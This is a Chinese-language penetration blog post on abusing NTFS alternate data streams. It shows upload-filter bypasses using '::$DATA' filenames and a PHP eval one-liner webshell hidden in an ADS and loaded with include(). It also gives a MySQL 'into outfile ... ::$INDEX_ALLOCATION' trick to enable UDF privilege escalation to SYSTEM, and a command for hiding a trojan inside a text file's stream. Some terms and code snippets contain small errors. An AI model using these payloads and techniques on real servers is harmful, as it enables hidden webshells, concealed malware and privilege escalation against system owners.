天天看點

NTFS中的ADS的一些問題

有關ADS的簡單說明請看http://www.xfocus.net/articles/200212/466.html

可以看到ADS在很久以前就被一些安全人員所關注,并且也提出了一些經典的利用,比如隐藏檔案,隐藏

webshell(http://blog.csdn.net/lake2/article/details/269659),随着這次爆出來的IIS的

權限繞過,我們再次測試了一下ADS在滲透中的利用方法,并發現了一些比較有意思的現象。

1 經典的IIS 目錄通路權限繞過:

詳見:http://www.exploit-db.com/exploits/19033/

注:這裡的權限是NTFS目錄屬性的權限,并非說是背景直接繞過。别誤會。

2 Bypass 黑名單驗證

在測試中我們發現,如果上傳的檔案名字為:test.php::$DATA,會在伺服器上生成一個test.php的檔案,其中内容和所上傳檔案

内容相同,并被解析。假設我們需要上傳的檔案内容為:<?php phpinfo();?>下面是上傳是會出現的現象:

上傳的檔案名  伺服器表面現象    生成的檔案内容

Test.php:a.jpg     生成Test.php  空

Test.php::$DATA  生成test.php  <?php phpinfo();?>

Test.php::$INDEX_ALLOCATION  生成test.php檔案夾  

Test.php::$DATA\0.jpg  生成0.jpg  <?php phpinfo();?>

Test.php::$DATA\aaa.jpg  生成aaa.jpg  <?php phpinfo();?>

  PS: 上傳test.php:a.jpg的時候其實是在伺服器上正常生成了一個資料流檔案,可以通過notepad test.php:a.jpg檢視内容,而test.php為空也是正常的。

  根據第二個現象,我們可以bypass一些黑名單驗證。

  後面我加\0測試的時候是想截斷後面的東西,但是發現windows會無視”/””\”這兩個符号前面的東西,隻識别這倆符号後的字元串。(由于windows把\ /當成了目錄,而上傳隻認識檔案名所導緻的)

3 在隐藏webshell中的利用:

方法:在伺服器上echo一個資料流檔案進去,比如index.php是網頁正常檔案,我們可以這樣子搞: echo ^<?php @eval(request[cmd])?^>  > index.php:hidden.jpg

這樣子就生成了一個不可見的shell

hidden.jpg,正常的檔案管理器、type指令,dir指令、del指令發現都找不出那個hidden.jpg的。我們可以在另外一個正常檔案裡

把這個ADS檔案include進去,<?php

include(‘index.php:hidden.jpg’)?>,這樣子就可以正常解析我們的一句話了。

4 UDF提權中的利用

UDF提權tips:如果資料庫使用者對資料庫mysql(注意指的是資料庫裡的預設庫mysql)具有insert和delete權限,就可以創

建加載自定義函數。而又由于mysql是以system權限運作在windows主機上,是以這個時候我們就可以通過自定義函數以system權限執行命

令了。

Mysql

5.1以上(現在都5.6版本了,估計老版的不常見了。),在加載自定義函數的DLL時,要求目錄必須是mysql目錄下的lib\plugin\目錄。

直接導入C:\windows\system32這種目錄是加載不了dll的,也就沒辦法creat function。但是可悲的是mysql

5.1之後的版本在安裝的時候是預設不存在lib\plugin目錄的,除非你安裝的是完整版(官方的那種200多M的)。

還有一些情況,比如:你擷取webshell了,但是webshell權限被限制的很死,根本沒辦法建立lib\plugin目錄,或者你根本就

沒有webshell,隻有一個Mysql的弱密碼(http://blog.sina.com.cn/s

/blog_6ca7b58101013kt4.html)。在以前估計就是隻有放棄了,但是利用ADS我們則可以bypass掉這個限制。

demo :

select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';

會在mysql目錄下生成一個lib目錄

5 利用ADS隐藏木馬

隐藏好辦,直接在cmd裡面執行指令: type muma.ext test.txt:muma.exe

這樣就把木馬寫進test.txt的資料流裡了。但是想運作的話還得借助其他工具,winrar就是一個,具體方法百度百科裡都有,但是百科裡的别信,成功不了,需要用type指令才能将二進制可執行檔案寫進去的。

Winrar的自解壓木馬我還是覺得不靠譜,畢竟字尾是exe,如果目标連這個都确定不了,那還不如直接發muma.exe。是以這個利用我也沒怎麼研究了。

注:資料流中如果是可執行檔案,用start指令調用時,需要在win xp 和2003環境下,win7下失敗。

相關資訊下載下傳:NTFS-ADS